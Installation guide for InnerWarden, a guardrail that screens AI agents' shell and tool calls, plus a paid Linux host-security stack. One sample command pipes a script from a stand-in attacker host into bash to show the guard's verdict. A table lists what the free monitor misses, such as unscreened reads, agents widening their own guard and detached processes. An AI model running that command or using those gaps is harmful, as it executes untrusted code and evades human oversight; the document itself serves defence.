Skip to content
Start here

Install and First Run

Install the free InnerWarden guardrail (innerwarden) on any OS, or the paid host stack (Pro and Enterprise) on Linux, and verify it comes up in a safe posture.

Install and First Run

For: a new user who wants InnerWarden running, safely, in the next ten minutes.

Looking for every install method (npm, .deb/.rpm, Scoop, ubi, from source) and how to verify each download with checksums, signatures, and npm provenance? See Installing InnerWarden.

InnerWarden comes in three tiers and two installs, the free CLI and the paid host stack, and which one you install depends on what you want to protect:

  • Community (free, cross-platform): the standalone AI-agent guardrail, the innerwarden binary. It screens every shell command and MCP/tool call your agent makes for injection, secret theft, and destructive actions, advisory by default, with a local dashboard, a local audit trail, and alerts. No root, no kernel component, no host sensor. Runs the same on Linux, macOS, and Windows.
  • Pro (paid, Linux, bought online): the full host stack, the eBPF sensor, 80 host detectors, cross-layer correlation, and autonomous response, plus Active Defence (the kernel Execution Gate, DNS Guard, anti-tamper watchdog). Installed with a host installer and a licence. DNS Guard installs in observe; what it does and how it is armed are in Editions and Runtime Guarantees.
  • Enterprise (paid, Linux, scoped with us): the same host stack, installer and features as Pro, run across many hosts under one agreement, with fleet operations and the services (curated policy, an assurance audit, SLA and support). See Editions and Runtime Guarantees for the full split.

Start with Community. It is the fastest way to see the value, it needs no root, and it works on whatever OS your agent runs on.

The authoritative capability and guarantee boundary is Editions and Runtime Guarantees.

Or have your agent install it

If you already have a coding agent open, it can do all of this. Point it at the public innerwarden-skill repository and tell it:

install InnerWarden and verify it is actually screening my commands

It works out which machine it is on, installs the right way for it, wires your agent, and refuses to report success until scripts/verify-install.sh exits 0. That script does not check that files exist: it sends real commands through the guard and reads the verdicts, because "installed" and "protecting you" are different claims.

Every command on this page still works, and nothing here is skipped by taking that route. It is the same install, done by something that types faster.

Community: the free guardrail (innerwarden)

On macOS and Linux, this is the shortest path that works on a machine straight out of the box. It picks the signed binary for your OS and CPU, verifies its sha256 and its Ed25519 signature before installing, and puts it in ~/.local/bin. No root, no Node:

curl -fsSL https://www.innerwarden.com/free | sh

On Windows PowerShell:

irm https://www.innerwarden.com/free.ps1 | iex

If innerwarden is not found afterwards, add ~/.local/bin to your PATH.

npm is equally supported, adds npm provenance, and is the same command on every OS, so prefer it if you already manage your tools with npm:

npm install -g innerwarden        # or run once, no install: npx innerwarden

One thing to expect on Linux: npm install -g writes to npm's global prefix, and on a distro-packaged Node that prefix is /usr/local/lib/node_modules, owned by root. The command then fails with EACCES before InnerWarden is even involved. Use sudo npm install -g innerwarden, or point npm at a prefix you own (npm config set prefix ~/.npm-global, then add ~/.npm-global/bin to your PATH). InnerWarden itself never needs root.

From source with Rust:

cargo install --git https://github.com/InnerWarden/inner-warden innerwarden

Any of these gives you innerwarden, which sits between your AI agent and the machine and screens what the agent tries to do before it happens. Verify it and set it up:

innerwarden --version
innerwarden setup                 # one-time wizard: dashboard, alerts, agent wiring
innerwarden check "curl http://evil.example/x.sh | bash"   # returns deny / review / allow

The Community verbs are innerwarden <verb>: check (screen a command), setup, agents (register/scan agents), proxy (put the guardrail in the path of MCP tool calls), dashboard, monitor, and enforce. It has no eBPF, no host sensor, and no host detectors, it is purely the command and MCP-call guardrail. See AI Agent Guardrail for how the screening works.

What the free tier does not stop

Community is a screen in front of an AI agent's shell commands and MCP calls, running inside your own account. It is not a sandbox and it is not kernel enforcement. From Community 1.5.4 it judges a long command as a whole, denies wiping a home directory, blocks an agent from reading a .env-class file outside its own project, and refuses an agent that tries to widen its own guard. From 1.5.5 it also screens Claude Code's file tools (Write, Edit, MultiEdit and NotebookEdit) for privileged files: the agent's settings, the guard's own configuration and program, shell startup files, SSH keys, cron and services, and stored credentials. An edit to a file in your project passes at once. These are the things it does not stop, and the paid layer that covers each:

The free tier does not stopWhat that meansPaid layer that covers it
What the agent reads with its own file tools, and the files it writes that are not privilegedFrom 1.5.5 the file tools that write are screened for the privileged files above, and only for those. A read through a file tool (Read and the like) is not screened, so a secret the agent opens that way is not judged, and a file it writes that is not privileged is not judged either. The guard cannot tell your request from an attack on the same file, so asking the agent to edit ~/.claude/settings.json (or another privileged file) is now refused: edit it yourself, because your own editor and shell are not screened.InnerWarden Active Defence, with its kernel execution gate and the Secret Read Guard
Changes to your user's own files by a route the hook does not seeAn agent that runs as you can change what you can change, the guard's own settings included. From 1.5.4 an agent cannot run innerwarden allow, mute, dry-run or monitor, cannot write into ~/.config/innerwarden, and adding an allow or mute entry needs a terminal or --operator. That raises the cost of widening the guard. It does not close every route to it.InnerWarden Active Defence, with its kernel execution gate
Where the agent's traffic goesThe free tier does not control network egress. A command it lets through can still connect to any address.InnerWarden Active Defence, with DNS Guard and containment
Processes that outlive the screened callA child process that detaches from the call the hook judged is no longer under the screen.InnerWarden Active Defence, with its kernel execution gate and containment

The paid layers are Linux-only and part of the host stack in the next section. Editions and Runtime Guarantees says when each one actually holds.

Pro and Enterprise: the full host stack (Linux)

The paid host stack, the same for Pro and Enterprise, is the full host defence platform. It installs on a Linux server with one command and a licence, and comes up in observe-only, dry-run mode: it watches the machine, explains what it sees, and blocks nothing until you decide it should.

Pass the licence you were issued. The licence is what selects the paid tier, the same command without it installs the free tier, so this flag is not optional for Pro or Enterprise:

curl -fsSL https://www.innerwarden.com/install | sudo bash -s -- --license=/path/to/license.txt

--license= takes a local file path: the license.txt attached to your purchase email, or the same file downloaded from the activation page. If your licence arrived as a link, download it first (curl -fsSL <link> -o /tmp/license.txt) and pass that file. The installer stores it on the host as /etc/innerwarden/license.key. Note the =: --license /path with a space is rejected rather than ignored, so a mistyped flag can never quietly leave you on the free tier.

This installs the eBPF sensor, the 80 host detectors, cross-layer correlation, autonomous response, and the Active Defence capabilities (Execution Gate, DNS Guard, anti-tamper watchdog). Linux only, and eBPF needs a reasonably recent kernel and root or CAP_BPF. There is no macOS or Windows build of the host stack today (macOS host protection is in development, not yet offered), those platforms get the free Community guardrail. No toolchain, no cloud account, no control plane to sign up for. Your data and your audit trail stay on the box. Pro is bought online per protected agent, and Enterprise is scoped with us; both are on Pricing.

What the paid installer does

It is a normal shell script and you can read it before you run it (it is the install.sh published at https://www.innerwarden.com/install, also in the public releases repo). In order, it:

  1. Downloads the pre-built binaries for your architecture (x86_64 or aarch64), with the eBPF programs embedded, and verifies their SHA-256 before installing them to /usr/local/bin. There is nothing to compile on the box. On a host that already runs InnerWarden it first stops the running watchdog (and the agent it runs), so no binary is replaced under it; step 4 starts it again on the new ones.
  2. Creates a dedicated innerwarden service user (unprivileged) and the data directory at /var/lib/innerwarden. You (the user who ran sudo) are added to the innerwarden group so the free guardrail can write its records there; that group reads no secret. A separate innerwarden-secrets group, holding only the service user, reads the licence.
  3. Writes the config to /etc/innerwarden/ (config.toml for the sensor, agent.toml for the agent), with the secrets closed from the moment each file exists: agent.env root-only, license.key readable by the services only. Who reads which file is in Everyday Operations.
  4. Installs and starts the services: innerwarden-sensor, and the agent under innerwarden-watchdog, which starts it, watches it and restarts it if it stops (so innerwarden-agent.service itself stays disabled, by design). The agent hosts the dashboard, triage, and notifications. innerwarden-dns-guard is installed too, in observe.
  5. Provisions the on-device Local Warden model (a ~87 MB classifier) so you get AI triage with no API key and no per-call cost. Opt out with INNERWARDEN_NO_WARDEN=1 if the box has no internet egress.
  6. Drops a copy of the agent guide on-box at /etc/innerwarden/AGENTS.md so a coding agent can read it and help you configure things. See Connect Your Agent.

A fresh install should not open with the installer's own work as incidents. From before it replaces any binary until the model step, the installer (run as root) holds a maintenance window open, so its own systemctl start, stop, restart, enable and disable of InnerWarden's units are recorded as maintenance. The window proves only those steps, by the installer's own direct children; anything else on the host, root included, is judged as usual. It closes before the model step and on any exit, and one left behind by a killed installer proves nothing and expires within 30 minutes. The installer also checks for your free CLI as you, never running it as root.

It deliberately leaves InnerWarden in a safe posture: detection and logging are on, response skills are off, and dry_run = true. Nothing gets blocked, killed, or suspended until you arm it.

Install variants

  • Unattended / scripted: the installer takes flags. See them with curl -fsSL https://www.innerwarden.com/install | bash -s -- --help (no sudo needed to read the help, and --help never installs anything).
  • Try the flow without touching the system: bash install.sh --simulate runs the whole thing as a dry run (no install, no service changes).
  • Source review: the paid host stack is available from source only to customers with a source-access licence; standard installs use signed pre-built binaries. Community is also distributed as a signed binary. The public installer can be downloaded and reviewed before execution, and from 0.16.75 it ships a checksum and a signature you can check first: the recipe.
  • Remove it later: sudo innerwarden-ctl uninstall (add --purge to also drop config, data, the service user and groups, the installer's unit backups, and the firewall rules it added). Use innerwarden-ctl here, not innerwarden uninstall: on a host that also has the free CLI, innerwarden uninstall removes the free CLI. The exact command and its flags live in CLI Reference.

Verify the paid stack came up clean

Once the host stack is installed, three commands tell you everything:

sudo innerwarden-ctl get status      # are both services healthy, what is each one doing
sudo innerwarden-ctl get sensors     # which collectors and eBPF programs are live
sudo innerwarden-ctl system doctor   # health checks plus a concrete fix hint for anything wrong
innerwarden-ctl --version            # confirm the host stack release you installed

These are innerwarden-ctl, the host stack's own CLI, and under sudo: without root, status cannot read what the services wrote and reports it as unknown, and sudo innerwarden may not find the free CLI at all (it usually lives in ~/.local/bin, outside sudo's path). innerwarden --version is the free Community CLI's own release, a different number. sudo innerwarden-ctl get status should show the sensor and the agent both running, and report the day's counts. sudo innerwarden-ctl system doctor is the one to trust when something looks off: it does not just say "broken", it tells you the fix. Read its output and act on the hints before you start editing config by hand. (Every command and its flags are documented once, in CLI Reference; this page just points you at the few you need on day one.)

The sensor (innerwarden-sensor) only collects (it never calls AI or the network outbound); the agent is the part that triages, decides, and notifies, and on a paid install it runs under innerwarden-watchdog. How the supervisor keeps them alive, the systemd units, and the permissions they need are all covered in Everyday Operations.

Your safe default posture

A fresh install is in observe-only / dry-run. In plain terms:

  • It is watching the host, from the kernel up through userspace on every host and the firmware too on bare metal (a virtual machine's firmware belongs to its hypervisor), and recording everything it finds.
  • It is explaining each thing it sees in plain language, with the MITRE technique attached.
  • It is not blocking, killing, or suspending anything. Responses are computed and logged as "this is what I would have done", but never executed.
  • It is not paging you for everything it sees. Even with Telegram or Slack set up, a chat message means an intrusion in progress that nothing has contained. Brute force and port scans do not page by default, armed or not: they wait on the dashboard and in the daily briefing. See what pages you by default.

This is on purpose. You want InnerWarden to learn what normal looks like on this particular machine before it is allowed to act, and you want to look at a few days of its decisions before you trust them. Confirm you are in dry-run any time with sudo innerwarden-ctl status: it says the responder is in dry run (without sudo it cannot read the responder's config and says so). After innerwarden-ctl arm, the responder is ON in DRY RUN: it records the block it would make and blocks nothing. Going live is its own deliberate step, sudo innerwarden-ctl config responder --mode live.

Do not rush to arm it. The single most common mistake is to "allowlist everything that is running so it stops flagging", which hands an attacker a permanent free pass, because malware already on the box is also "currently running". The safe way to teach InnerWarden what is normal, and only then arm enforcement, has its own page: Safe Observe and Allowlist. Read it before you turn responses on.

The first things to look at

Once status is green, spend a few minutes here:

  1. See what it is finding. innerwarden get incidents --days 1 shows recent incidents in the terminal. Each one carries a plain-language "what happened and why it matters". If the box is internet-facing, you will probably see scanners and password-guessers within the hour. That is normal background noise.
  2. See what it would do. innerwarden get decisions --days 1 shows the agent's decisions. In dry-run these are the actions it would take. This is the log you read over the next few days to decide whether you trust it.
  3. Open the dashboard. It binds to localhost only (the secure default). Run innerwarden-ctl dashboard and it prints the URL, the login and a ready-to-paste SSH-tunnel command for reaching it from your laptop (innerwarden dashboard opens the free CLI's own dashboard instead). It files what it finds as cases in three lanes (messages to your AI agent, what your AI agent did, attacks on this server), each read as what happened, what InnerWarden did and what you need to decide. Dashboard and Notifications covers it.
  4. Tune it to this machine (optional, when you are ready). innerwarden system scan audits the host, innerwarden system harden applies safe hardening, and innerwarden system calibrate tunes detector thresholds to this host's normal. Walk through these with Everyday Operations.

Where to go next